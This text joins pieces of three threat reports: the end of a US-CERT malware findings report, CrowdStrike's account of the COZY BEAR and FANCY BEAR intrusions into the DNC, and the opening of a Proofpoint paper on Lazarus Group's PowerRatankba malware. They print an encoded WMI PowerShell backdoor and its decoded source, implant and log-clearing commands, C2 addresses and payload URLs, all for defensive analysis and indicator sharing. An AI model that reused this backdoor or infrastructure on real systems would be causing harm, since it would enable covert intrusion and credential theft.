(D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Connected_From (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Related_To (I) 176.114.0.157 (I) 176.114.0.157 Characterized_By (W) Address lookup (I) 176.114.0.157 Related_To (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Mitigation Recommendations US-CERT recommends monitoring activity to the following domain(s) and/or IP(s) as a potential indicator of infection: private.directinvesting.com cderlearn.com 204.12.12.40 209.236.67.159 176.114.0.120 editprod.waterfilter.in.ua insta.reduct.ru 146.185.161.126 one2shoppee.com ritsoperrol.ru littjohnwilhap.ru wilcarobbe.com mymodule.waterfilter.in.ua/system/logs/xtool.exe 176.114.0.157 US-CERT would like to remind users and administrators of the following best practices to strengthen the security posture of their organizations systems: Maintain up-to-date antivirus signatures and engines.
Restrict users ability (permissions) to install and run unwanted software applications.
Enforce a strong password policy and implement regular password changes.
Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
Keep operating system patches up-to-date.
Enable a personal firewall on agency workstations.
Disable unnecessary services on agency workstations and servers.
Scan for and remove suspicious e-mail attachments ensure the scanned attachment is its true file type (i.e., the extension matches the file header).
Monitor users web browsing habits restrict access to sites with unfavorable content.
Exercise caution when using removable media (e.g., USB thumbdrives, external drives, CDs, etc.
).
Scan all software downloaded from the Internet prior to executing.
Maintain situational awareness of the latest threats implement appropriate ACLs.
Contact Information 1-888-282-0870 socus-cert.gov (UNCLASS) us-certdhs.sgov.gov (SIPRNET) us-certdhs.ic.gov (JWICS) US-CERT continuously strives to improve its products and services.
You can help by answering a very short series of questions about this product at the following URL: https://forms.us-cert.gov/ncsd-feedback/ Document FAQ What is a MIFR?
A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner.
In most instances this report will provide initial indicators for computer and network defense.
To request additional analysis, please contact US-CERT and provide information regarding the level of desired analysis.
Can I distribute this to other people?
This document is marked TLP:WHITE.
Disclosure is not limited.
Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release.
US-CERT MIFR-10105049-Update2 62 of 63 Can I edit this document?
This document is not to be edited in any way by recipients.
All comments or questions related to this document should be directed to the US-CERT Security Operations Center at 1-888-282-0870 or socus-cert.gov.
Can I submit malware to US-CERT?
US-CERT encourages you to report any suspicious activity, including cybersecurity incidents, poss ble malicious code, software vulnerabilities, and phishing-related scams.
Reporting forms can be found on US-CERTs homepage at www.us- cert.gov.
Malware samples can be submitted via https://malware.us-cert.gov.
Alternative submission methods are available by special request.
US-CERT MIFR-10105049-Update2 63 of 63 DRAFT AR-17-20045 Enhanced Analysis of GRIZZLY STEPPE Activity 2017-0210-dgv3 MIFR-10105049-Update2
Dmitri Alperovitch Bears in the Midst: Intrusion into the Democratic National Committee crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ There is rarely a dull day at CrowdStrike where we are not detecting or responding to a breach at a company somewhere around the globe.
In all of these cases, we operate under strict confidentiality rules with our customers and cannot reveal publicly any information about these attacks.
But on rare occasions, a customer decides to go public with information about their incident and give us permission to share our knowledge of the adversary tradecraft with the broader community and help protect even those who do not happen to be our customers.
This story is about one of those cases.
CrowdStrike Services Inc., our Incident Response group, was called by the Democratic National Committee (DNC), the formal governing body for the US Democratic Party, to respond to a suspected breach.
We deployed our IR team and technology and immediately identified two sophisticated adversaries on the network  COZY BEAR and FANCY BEAR.
Weve had lots of experience with both of these actors attempting to target our customers in the past and know them well.
In fact, our team considers them some of the best adversaries out of all the numerous nation-state, criminal and hacktivist/terrorist groups we encounter on a daily basis.
Their tradecraft is superb, operational security second to none and the extensive usage of living-off-the-land techniques enables them to easily bypass many security solutions they encounter.
In particular, we identified advanced methods consistent with nation-state level capabilities including deliberate targeting and access management tradecraft  both groups were constantly going back into the environment to change out their implants, modify persistent methods, move to new Command  Control channels and perform other tasks to try to stay ahead of being detected.
Both adversaries engage in extensive political and economic espionage for the benefit of the government of the Russian Federation and are believed to be closely linked to the Russian governments powerful and highly capable intelligence services.
COZY BEAR (also referred to in some industry reports as CozyDuke or APT 29) is the adversary group that last year successfully infiltrated the unclassified networks of the White House, State Department, and US Joint Chiefs of Staff .
In addition to the US government, they have targeted organizations across the Defense, Energy, Extractive, Financial, Insurance, Legal, Manufacturing Media, Think Tanks, Pharmaceutical, Research and Technology industries, along with Universities.
Victims have also been observed in Western Europe, Brazil, China, Japan, Mexico, New Zealand, South Korea, Turkey and Central Asian countries.
COZY BEARs preferred intrusion method is a broadly targeted spearphish campaign that typically includes web links to a malicious dropper.
Once executed on the machine, the code will deliver one of a number of sophisticated Remote Access Tools (RATs), including AdobeARM, ATI- Agent, and MiniDionis.
On many occasions, both the dropper and the payload will contain a range of techniques to ensure the sample is not being analyzed on a virtual machine, using a debugger, or located within a sandbox.
They have extensive checks for the various security software that is installed on the system and their specific configurations.
When specific versions are discovered that may cause issues for the RAT, it promptly exits.
These actions demonstrate a well-resourced adversary with a thorough implant-testing regime that is highly attuned to slight configuration issues that may result in their detection, and which would cause them to deploy a different tool instead.
The implants are highly configurable via encrypted configuration files, which allow the adversary to customize various components, including C2 servers, the list of initial tasks to carry out, persistence mechanisms, encryption keys and others.
An HTTP protocol with encrypted payload is used for the Command  Control communication.
FANCY BEAR (also known as Sofacy or APT 28) is a separate Russian-based threat actor, which has been active since mid 2000s, and has been responsible for targeted intrusion campaigns against the Aerospace, Defense, Energy, Government and Media sectors.
Their victims have been identified in the United States, Western Europe, Brazil, Canada, China, Georgia, Iran, Japan, Malaysia and South Korea.
Extensive targeting of defense ministries and other military victims has been observed, the profile of which closely mirrors the strategic interests of the Russian government, and may indicate affiliation with    (Main Intelligence Department) or GRU, Russias premier military intelligence service.
This adversary has a wide range of implants at their disposal, which have been developed over the course of many years and include Sofacy, X-Agent, X-Tunnel, WinIDS, Foozer and DownRange droppers, and even malware for Linux, OSX, IOS, Android and Windows Phones.
This group is known for its technique of registering domains that closely resemble domains of legitimate organizations they plan to target.
Afterwards, they establish phishing sites on these domains that spoof the look and feel of the victims web-based email services in order to steal their credentials.
FANCY BEAR has also been linked publicly to intrusions into the German Bundestag and Frances TV5 Monde TV station in April 2015.
At DNC, COZY BEAR intrusion has been identified going back to summer of 2015, while FANCY BEAR separately breached the network in April 2016.
We have identified no collaboration between the two actors, or even an awareness of one by the other.
Instead, we observed the two Russian espionage groups compromise the same systems and engage separately in the theft of identical credentials.
While you would virtually never see Western intelligence agencies going after the same target without de-confliction for fear of compromising each others operations, in Russia this is not an uncommon scenario.
Putins Hydra: Inside Russias Intelligence Services, a recent paper from European Council on Foreign Relations, does an excellent job outlining the highly adversarial relationship between Russias main intelligence services     (FSB), the primary domestic intelligence agency but one with also significant external collection and active measures remit,    (SVR), the primary foreign intelligence agency, and the aforementioned GRU.
Not only do they have overlapping areas of responsibility, but also rarely share intelligence and even occasionally steal sources from each other and compromise operations.
Thus, it is not surprising to see them engage in intrusions against the same victim, even when it may be a waste of resources and lead to the discovery and potential compromise of mutual operations.
The COZY BEAR intrusion relied primarily on the SeaDaddy implant developed in Python and compiled with py2exe and another Powershell backdoor with persistence accomplished via Windows Management Instrumentation (WMI) system, which allowed the adversary to launch malicious code automatically after a specified period of system uptime or on a specific schedule.
The Powershell backdoor is ingenious in its simplicity and power.
It consists of a single obfuscated command setup to run persistently, such as: powershell.exe -NonInteractive -ExecutionPolicy Bypass -EncodedCommand 1/3 https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ https://www.washingtonpost.com/world/national-security/russian-government-hackers-penetrated-dnc-stole-opposition-research-on-trump/2016/06/14/cf006cb4-316e-11e6-8ff7-7b6c1998b7a0_story.html https://www.crowdstrike.com/products/falcon-host/ http://www.thedailybeast.com/articles/2015/04/08/obama-to-putin-stop-hacking-me.html http://www.cnn.com/2015/03/10/politics/state-department-hack-worst-ever/ https://www.theguardian.com/technology/2015/aug/06/us-military-joint-chiefs-hacked-officials-blame-russia http://www.ft.com/cms/s/0/668a131e-1928-11e6-b197-a4af20d5575e.html http://www.bbc.com/news/world-europe-33072034 http://www.ecfr.eu/publications/summary/putins_hydra_inside_russias_intelligence_services ZgB1AG4AYwB0AGkAbwBuACAAcABlAHIAZgBDAHIAKAAkAGMAcgBUAHIALAAgACQAZABhAHQAYQApAA0ACgB7AA0ACgAJACQAcgBlAHQAIAA9ACAAJABuAHUAbABsAA0ACgAJAHQAcgB5AHsADQAKAAkACQAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQANAAoACQAJACQAYwBzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwByAHkAcAB0AG8AUwB0AHIAZQBhAG0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAQAAoACQAbQBzACwAIAAkAGMAcgBUAHIALAAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEMAcgB5AHAAdABvAFMAdAByAGUAYQBtAE0AbwBkAGUAXQA6ADoAVwByAGkAdABlACkADQAKAAkACQAkAGMAcwAuAFcAcgBpAHQAZQAoACQAZABhAHQAYQAsACAAMAAsACAAJABkAGEAdABhAC4ATABlAG4AZwB0AGgAKQANAAoACQAJACQAYwBzAC4ARgBsAHUAcwBoAEYAaQBuAGEAbABCAGwAbwBjAGsAKAApAA0ACgAJAAkAJAByAGUAdAAgAD0AIAAkAG0AcwAuAFQAbwBBAHIAcgBhAHkAKAApAA0ACgAJAAkAJABjAHMALgBDAGwAbwBzAGUAKAApAA0ACgAJAAkAJABtAHMALgBDAGwAbwBzAGUAKAApAA0ACgAJAH0ADQAKAAkAYwBhAHQAYwBoAHsAfQANAAoACQByAGUAdAB1AHIAbgAgACQAcgBlAHQADQAKAH0ADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABkAGUAYwByAEEAZQBzACgAJABlAG4AYwBEAGEAdABhACwAIAAkAGsAZQB5ACwAIAAkAGkAdgApAA0ACgB7AA0ACgAJACQAcgBlAHQAIAA9ACAAJABuAHUAbABsAA0ACgAJAHQAcgB5AHsADQAKAAkACQAkAHAAcgBvAHYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGkAagBuAGQAYQBlAGwATQBhAG4AYQBnAGUAZAANAAoACQAJACQAcAByAG8AdgAuAEsAZQB5ACAAPQAgACQAawBlAHkADQAKAAkACQAkAHAAcgBvAHYALgBJAFYAIAA9ACAAJABpAHYADQAKAAkACQAkAGQAZQBjAHIAIAA9ACAAJABwAHIAbwB2AC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAAkAHAAcgBvAHYALgBLAGUAeQAsACAAJABwAHIAbwB2AC4ASQBWACkADQAKAAkACQAkAHIAZQB0ACAAPQAgAHAAZQByAGYAQwByACAAJABkAGUAYwByACAAJABlAG4AYwBEAGEAdABhAA0ACgAJAH0ADQAKAAkAYwBhAHQAYwBoAHsAfQANAAoACQByAGUAdAB1AHIAbgAgACQAcgBlAHQADQAKAH0ADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABzAFcAUAAoACQAYwBOACwAIAAkAHAATgAsACAAJABhAEsALAAgACQAYQBJACkADQAKAHsADQAKAAkAaQBmACgAJABjAE4AIAAtAGUAcQAgACQAbgB1AGwAbAAgAC0AbwByACAAJABwAE4AIAAtAGUAcQAgACQAbgB1AGwAbAApAHsAcgBlAHQAdQByAG4AIAAkAGYAYQBsAHMAZQB9AA0ACgAJAHQAcgB5AHsADQAKAAkACQAkAHcAcAAgAD0AIAAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJABjAE4AKQAuAFAAcgBvAHAAZQByAHQAaQBlAHMAWwAkAHAATgBdAC4AVgBhAGwAdQBlAA0ACgAJAAkAJABlAHgARQBuACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAB3AHAAKQANAAoACQAJACQAZQB4AEQAZQBjACAAPQAgAGQAZQBjAHIAQQBlAHMAIAAkAGUAeABFAG4AIAAkAGEASwAgACQAYQBJAA0ACgAJAAkAJABlAHgAIAA9ACAAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAZQB4AEQAZQBjACkADQAKAAkACQBpAGYAKAAkAGUAeAAgAC0AZQBxACAAJABuAHUAbABsACAALQBvAHIAIAAkAGUAeAAgAC0AZQBxACAAJwAnACkADQAKAAkACQB7AHIAZQB0AHUAcgBuAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAGUAeAANAAoACQAJAHIAZQB0AHUAcgBuACAAJAB0AHIAdQBlAA0ACgAJAH0ADQAKAAkAYwBhAHQAYwBoAHsADQAKAAkACQByAGUAdAB1AHIAbgAgACQAZgBhAGwAcwBlAA0ACgAJAH0ADQAKAH0ADQAKAA0ACgAkAGEAZQBLACAAPQAgAFsAYgB5AHQAZQBbAF0AXQAgACgAMAB4AGUANwAsACAAMAB4AGQANgAsACAAMAB4AGIAZQAsACAAMAB4AGEAOQAsACAAMAB4AGIANwAsACAAMAB4AGUANgAsACAAMAB4ADUANQAsACAAMAB4ADMAYQAsACAAMAB4AGUAZQAsACAAMAB4ADEANgAsACAAMAB4ADcAOQAsACAAMAB4AGMAYQAsACAAMAB4ADUANgAsACAAMAB4ADAAZgAsACAAMAB4AGIAYwAsACAAMAB4ADMAZgAsACAAMAB4ADIAMgAsACAAMAB4AGUAZAAsACAAMAB4AGYAZgAsACAAMAB4ADAAMgAsACAAMAB4ADQAMwAsACAAMAB4ADQAYwAsACAAMAB4ADEAYgAsACAAMAB4AGMAMAAsACAAMAB4AGUANwAsACAAMAB4ADUANwAsACAAMAB4AGIAMgAsACAAMAB4AGMAYgAsACAAMAB4AGQAOAAsACAAMAB4AGMAZQAsACAAMAB4AGQAYQAsACAAMAB4ADAAMAApAA0ACgAkAGEAZQBJACAAPQAgAFsAYgB5AHQAZQBbAF0AXQAgACgAMAB4AGIAZQAsACAAMAB4ADcAYQAsACAAMAB4ADkAMAAsACAAMAB4AGQAOQAsACAAMAB4AGQANQAsACAAMAB4AGYANwAsACAAMAB4AGEAYQAsACAAMAB4ADYAZAAsACAAMAB4AGUAOQAsACAAMAB4ADEANgAsACAAMAB4ADYANAAsACAAMAB4ADEAZAAsACAAMAB4ADkANwAsACAAMAB4ADEANgAsACAAMAB4AGMAMAAsACAAMAB4ADYANwApAA0ACgBzAFcAUAAgACcAVwBtAGkAJwAgACcAVwBtAGkAJwAgACQAYQBlAEsAIAAkAGEAZQBJACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA This decodes to: function perfCr(crTr, data) ret  null try ms  New-Object System.
IO.MemoryStream cs  New-Object System.
Security.
Cryptography.
CryptoStream -ArgumentList (ms, crTr, [System.
Security.
Cryptography.
CryptoStreamMode]::Write) cs.
Write(data, 0, data.
Length) cs.
FlushFinalBlock() ret  ms.
ToArray() cs.
Close() ms.
Close()  catch return ret  function decrAes(encData, key, iv)  ret  null try prov  New-Object System.
Security.
Cryptography.
RijndaelManaged prov.
Key  key prov.
IV  iv decr  prov.
CreateDecryptor(prov.
Key, prov.
IV) ret  perfCr decr encData  Catch return ret  function sWP(cN, pN, aK, aI)  if(cN -eq null -or pN -eq null)return false try wp  ([wmiclass]cN).Properties[pN].Value exEn  [Convert]::FromBase64String(wp) exDec  decrAes exEn aK aI ex  [Text.
Encoding]::UTF8.GetString(exDec) if(ex -eq null -or ex -eq ) return Invoke-Expression ex return true  catch return false   aeK  [byte[]] (0xe7, 0xd6, 0xbe, 0xa9, 0xb7, 0xe6, 0x55, 0x3a, 0xee, 0x16, 0x79, 0xca, 0x56, 0x0f, 0xbc, 0x3f, 0x22, 0xed, 0xff, 0x02, 0x43, 0x4c, 0x1b, 0xc0, 0xe7, 0x57, 0xb2, 0xcb, 0xd8, 0xce, 0xda, 0x00) aeI  [byte[]] (0xbe, 0x7a, 0x90, 0xd9, 0xd5, 0xf7, 0xaa, 0x6d, 0xe9, 0x16, 0x64, 0x1d, 0x97, 0x16, 0xc0, 0x67) sWP Wmi Wmi aeK aeI  Out-Null This one-line powershell command, stored only in WMI database, establishes an encrypted connection to C2 and downloads additional powershell modules from it, executing them in memory.
In theory, the additional modules can do virtually anything on the victim system.
The encryption keys in the script were different on every system.
Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.
FANCY BEAR adversary used different tradecraft, deploying X-Agent malware with capabilities to do remote command execution, file transmission and keylogging.
It was executed via rundll32 commands such as: rundll32.exe C:\Windows\twain_64.dll In addition, FANCY BEARs X-Tunnel network tunneling tool, which facilitates connections to NAT-ed environments, was used to also execute remote commands.
Both tools were deployed via RemCOM, an open-source replacement for PsExec available from GitHub.
They also engaged in a number of anti-forensic analysis measures, such as periodic event log clearing (via wevtutil cl System and wevtutil cl Securitycommands) and resetting timestamps of files.
Intelligence collection directed by nation state actors against US political targets provides invaluable insight into the requirements directed upon those actors.
Regardless of the agency or unit tasked with this collection, the upcoming US election, and the associated candidates and parties are of critical interest to both hostile and friendly nation states.
The 2016 presidential election has the worlds attention, and leaders of other states are anxiously watching and planning for possible outcomes.
Attacks against electoral candidates and the parties they represent are likely to continue up until the election in November.
Indicators of Compromise: IOC Adversary IOC Type Additional Info 6c1bce76f4d2358656132b6b1d471571820688ccdbaca0d86d0ca082b9390536 COZY BEAR SHA256 pagemgr.exe (SeaDaddy implant) b101cd29e18a515753409ae86ce68a4cedbe0d640d385eb24b9bbb69cf8186ae COZY BEAR SHA256 pagemgr.exe (SeaDaddy implant) 185[.]100[.]84[.
]134:443 COZY BEAR C2 SeaDaddy implant C2 2/3 58[.]49[.]58[.
]58:443 COZY BEAR C2 SeaDaddy implant C2 218[.]1[.]98[.
]203:80 COZY BEAR C2 Powershell implant C2 187[.]33[.]33[.
]8:80 COZY BEAR C2 Powershell implant C2 fd39d2837b30e7233bc54598ff51bdc2f8c418fa5b94dea2cadb24cf40f395e5 FANCY BEAR SHA256 twain_64.dll (64-bit X-Agent implant) 4845761c9bed0563d0aa83613311191e075a9b58861e80392914d61a21bad976 FANCY BEAR SHA256 VmUpgradeHelper.exe (X-Tunnel implant) 40ae43b7d6c413becc92b07076fa128b875c8dbb4da7c036639eccf5a9fc784f FANCY BEAR SHA256 VmUpgradeHelper.exe (X-Tunnel implant) 185[.]86[.]148[.
]227:443 FANCY BEAR C2 X-Agent implant C2 45[.]32[.]129[.
]185:443 FANCY BEAR C2 X-Tunnel implant C2 23[.]227[.]196[.
]217:443 FANCY BEAR C2 X-Tunnel implant C2 3/3 Bears in the Midst: Intrusion into the Democratic National Committee
W hi te pa pe r www.proofpoint.com Financially motivated campaigns reveal new dimension of the Lazarus Group North Korea Bitten by Bitcoin Bug Darien Huss http://www.proofpoint.com North Korea Bitten by Bitcoin Bug  2 Table of Contents EXECUTIVE SUMMARY .......................................................................................................................................................... 3 OVERVIEW .............................................................................................................................................................................. 4 INTRODUCTION ..................................................................................................................................................................... 4 PowerRatankba Downloaders .....................................................................................................................................5 Campaign Timeline ................................................................................................................................................................... 5 PowerSpritz ............................................................................................................................................................................... 6 Windows Shortcut (LNK) ........................................................................................................................................................... 8 Microsoft Compiled HTML Help (CHM) .................................................................................................................................... 9 JavaScript Downloaders ......................................................................................................................................................... 11 VBScript Macro Microsoft Office Documents ......................................................................................................................... 13 Backdoored PyInstaller Applications ...................................................................................................................................... 15 Implant Description and Analysis .............................................................................................................................18 PowerRatankba Description .................................................................................................................................................... 18 PowerRatankba.
A CC Description ........................................................................................................................................ 19 PowerRatankba.
B CC Description ....................................................................................................................................... 20 PowerRatankba Persistence ................................................................................................................................................... 20 PowerRatankba.
B Stage2 - Gh0st RAT ................................................................................................................................... 21 Gh0st RAT Purpose ................................................................................................................................................................. 23 Shopping Spree: Enter RatankbaPOS .................................................................................................................................... 23 RatankbaPOS Analysis ........................................................................................................................................................... 23 RatankbaPOS Targeted Region .............................................................................................................................................. 28 Attribution to Lazarus Group .....................................................................................................................................28 Encryption ............................................................................................................................................................................... 28 Obfuscation ............................................................................................................................................................................. 30 Functionality ............................................................................................................................................................................ 30 Code Overlap .......................................................................................................................................................................... 31 Decoys .................................................................................................................................................................................... 32 CC ......................................................................................................................................................................................... 32 CONCLUSION ....................................................................................................................................................................... 33 Research Contributions .......................................................................................................................................................... 33 Indicators of Compromise (IOCs) ........................................................................................................................................... 34 ET and ETPRO Suricata/Snort Signatures .............................................................................................................................. 37 North Korea Bitten by Bitcoin Bug  3 Executive Summary With activity dating at least to 2009, the Lazarus Group has consistently ranked among the most disruptive, successful, and far-reaching nation-state sponsored actors.
The March 20, 2013 attack in South Korea, the Sony Pictures hack in 2014, the successful theft of 81 million from the Bangladesh Bank in 2014, and perhaps most famously this years WannaCry ransomware attack and its global impact have all been attributed to the group.
The Lazarus Group is widely accepted as being a North Korean state-sponsored threat actor by numerous organizations in the information security industry, law enforcement agencies, and intelligence agencies around the world.
The Lazarus Groups arsenal of tools, implants, and exploits is extensive and under constant development.
Previously, they have employed DDoS botnets, wiper malware to temporarily incapacitate a company, and a sophisticated set of malware targeting the SWIFT banking system to steal millions of dollars.
In this report we describe and analyze a new, currently undocumented subset of the Lazarus Groups toolset that has been widely targeting individuals, companies, and organizations with interests in cryptocurrency.
Threat vectors for this new toolset, dubbed PowerRatankba, include highly targeted spearphishing campaigns using links and attachments as well as massive email phishing campaigns targeting both personal and corporate accounts of individuals with interests in cryptocurrency.
We also share our discovery of what may be the first publicly documented instance of a nation-state targeting a point-of-sale related framework for the theft of credit card data, again using a variant of malware that is closely related to PowerRatankba.
North Korea Bitten by Bitcoin Bug  4 Overview The Lazarus Group has increasingly focused on financially motivated attacks and appears to be capitalizing on both the increasing interest and skyrocketing prices for cryptocurrencies.
Proofpoint researchers have uncovered a number of multistage attacks that use cryptocurrency-related lures to infect victims with sophisticated backdoors and reconnaissance malware.
Victims of interest are then infected with additional malware including Gh0st RAT to steal credentials for cryptocurrency wallets and exchanges, enabling the Lazarus Group to conduct lucrative operations stealing Bitcoin and other cryptocurrencies.
We also discovered what appears to be the first publicly documented instance of a nation-state targeting a point-of-sale related framework for the theft of credit card data in a related set of attacks.
Moreover, the timing of the point-of-sale related attacks near the holiday shopping season makes the potential financial losses considerable.
Introduction It is already well-known that Lazarus Group has targeted and successfully breached several prominent cryptocurrency companies and exchanges.
From these breaches, law enforcement agencies suspect that the group has amassed nearly 100 million worth of cryptocurrencies based on their value today.
We hypothesize that many of these previously reported operations targeting cryptocurrency organizations have actually been conducted by the espionage team of the Lazarus Group based on evidence we provide in the Attribution section.
Further, we assess that until today, many of Lazarus Groups traditional financially motivated team have remained largely in the shadows as they conduct these operations adding to their already impressive stockpile of various cryptocurrencies.
Several watering hole attacks targeting the banking and financial industries that occurred at the end of 2016 and beginning of 2017 utilized a first stage downloader implant dubbed Ratankba.
During those incidents, Lazarus Group primarily used Ratankba as a reconnaissance tool, described by colleagues at Trend Micro as a utility to survey the lay of the land.
In this research we detail a new implant dubbed PowerRatankba, a PowerShell-based malware variant that closely resembles the original Ratankba implant.
We believe that PowerRatankba was likely developed as a replacement in Lazarus Groups strictly financially motivated teams arsenal to fill the hole left by Ratankbas discovery and very public documentation earlier this year.
In this report, we first provide a brief timeline of events related to the malicious activity.
Next, we describe the various delivery methods that Lazarus Group utilized to infect victims with PowerRatankba (Fig.
1).
We then detail the inner workings of PowerRatankba and how it is utilized to deliver a more fully capable backdoor to interesting victims (Fig.
1).
Following that, we share details on a new and emerging threat targeting the South Korean point-of-sale industry that we have dubbed RatankbaPOS (Fig.
1).
Finally, we explain our high-confidence attribution to Lazarus Group.
https://www.fireeye.com/blog/threat-research/2017/09/north-korea-interested-in-bitcoin.html http://www.bbc.com/news/world-asia-42378638 https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware-0 https://www.symantec.com/security_response/writeup.jsp?docid2017-020908-1134-99 https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/ https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/ North Korea Bitten by Bitcoin Bug  5 Figure 1: Flow of PowerRatankba activity from victims to the Lazarus Group operators PowerRatankba Downloaders In this section we will detail each of the different attack vectors and campaigns we have discovered that eventually lead to the delivery of PowerRatankba.
In total we have discovered six different attack vectors: A new Windows executable downloader dubbed PowerSpritz A malicious Windows Shortcut (LNK) file Several malicious Microsoft Compiled HTML Help (CHM) files using two different techniques Multiple JavaScript (JS) downloaders Two macro-based Microsoft Office documents Two campaigns utilizing backdoored popular cryptocurrency applications hosted on internationalized domain (IDN) infrastructure to trick victims into thinking they were on a legitimate website Campaign Timeline The campaigns discussed in this research began on or around June 30th, 2017.
According to our data those campaigns were highly targeted spearphishing attacks targeting at least one executive at a cryptocurrency organization to deliver a PowerRatankba.
A variant.
All other campaigns utilized PowerRatankba.
B variants.
We currently have no visibility into how the LNK, CHM, and JS campaigns were delivered to users, but given common Lazarus modus operandi, we can speculate that they may have been delivered through attachments or links in emails.
We gained visibility again during the massive email campaigns utilizing BTG- and Electrum-themed applications to ultimately deliver PowerRatankba.
The timeline below illustrates the exact dates of campaigns where we are aware of them.
Where exact dates are unknown, we based estimates on first campaign observations and metadata (Fig.
2).
North Korea Bitten by Bitcoin Bug  6 Figure 2: Timeline of campaigns ultimately related to PowerRatankba PowerSpritz PowerSpritz is a Windows executable that hides both its legitimate payload and malicious PowerShell command using a non-standard implementation of the already rarely used Spritz encryption algorithm (see the Attribution section for additional analysis of the Spritz implementation).
This malicious downloader has been observed being delivered via spearphishing attacks using the TinyCC link shortener service to redirect to likely attacker-controlled servers hosting the malicious PowerSpritz payload.
In early July 2017 an individual on Twitter shared an attack they observed targeting them (Fig.
3) utilizing a fake Skype update lure to trick users into clicking on a link to hxxps://skype.2[.
]vu/1.
The TinyCC link redirected to a server that, at the time, would have likely returned a PowerSpritz payload: hxxp://201.211.183[.
]215:8080/ update.php?tSkyperupdate Figure 3: PowerSpritz spearphishing email shared on Twitter by LeoAW, abusing Skype name and branding https://tiny.cc/ https://twitter.com/LeoAW/status/881761293874610176 North Korea Bitten by Bitcoin Bug  7 We have since discovered three additional TinyCC URLs utilized to spread PowerSpritz: one with a Telegram theme (hxxp:// telegramupdate.2[.
]vu/5 - hxxp://122.248.34[.
]23/lndex.php?tTelegramr1.1.9) and two more with Skype theme (hxxp://skypeupdate.2[.
]vu/1 - hxxp://122.248.34[.
]23/lndex.php?tSkypeSetuprmail_new and hxxp://skype.2[.
]vu/k - unknown).
Some of the PowerSpritz payloads were previously hosted on Google Drive however, we were unable to determine if that service was actually used to spread the payloads in-the-wild (ITW).
PowerSpritz decrypts a legitimate Skype or Telegram installer using a custom Spritz implementation with the key Znxkai if8qa9w9489.
PowerSpritz then writes the legitimate installer to disk in the directory returned by GetTempPathA either as a hardcoded filename such as SkypeSetup.exe or, in some versions, as the filename returned by GetTempFileNameA.
The installer is then executed to trick the potential victim into thinking they downloaded a legitimate, working application installer or update.
Finally, Spritz uses the same key to decrypt a PowerShell command that downloads the first stage of PowerRatankba (Fig.
4).
All three PowerSpritz samples we discovered executed the identical PowerShell command.
Figure 4: Script output showing PowerSpritz PowerShell encoded and decoded command North Korea Bitten by Bitcoin Bug  8 As shown in the above decoded script (Fig.
4), PowerSpritz attempts to retrieve a payload from hxxp://dogecoin.
deaftone[.
]com:8080/mainls.cs that is expected to be a Base64-encoded PowerShell script.
After decoding mainls.cs, a PowerRatankba.
A implant is revealed (Fig.
5) with hxxp://vietcasino.linkpc[.
]net:8080/search.jsp as its command and control (CC).
Figure 5: PowerSpritz retrieving Base64-encoded PowerRatankba Windows Shortcut (LNK) A LNK masquerading as a PDF document was discovered on an antivirus scanning service.
The malicious Scanned Document Part 1.pdf.lnk LNK file, along with a corrupted PDF named Scanned Document Part 2.pdf, were compressed in a ZIP file named Scanned Documents.zip (Fig.
6).
It is unclear if the PDF document was tampered with intentionally to increase the chances a target would open the malicious LNK or if the actor(s) unintentionally used a corrupted document.
We currently are not aware of how the LNK or compressed ZIP files were utilized ITW.
The malicious LNK uses a known AppLocker bypass to retrieve its payload from a TinyURL shortener link hxxp://tinyurl[.
]com/y9jbk8cg (Fig.
7).
This shortener previously redirected to hxxp://201.211.183[.
]215:8080/ pdfviewer.php?o0treportm0 .
At the time of analysis the CC server was no longer returning payloads.
However, the same IP was used in the PowerSpritz campaigns.
Based on the same CC usage and similar URI structure, we assess with low confidence that the LNK campaign would have delivered PowerRatankba via PowerSpritz.
Figure 7: Malicious LNK AppLocker bypass to retrieve payload Figure 6: ZIP file with decompressed malicious LNK and corrupted PDF https://www.theregister.co.uk/2016/04/22/applocker_bypass/ https://tinyurl.com/ North Korea Bitten by Bitcoin Bug  9 Microsoft Compiled HTML Help (CHM) Several malicious CHM files were uploaded to a multi antivirus scanning service in October, November, and December.
We inspected the compressed ZIP metadata to better understand the likely chronological order in which the CHMs were used.
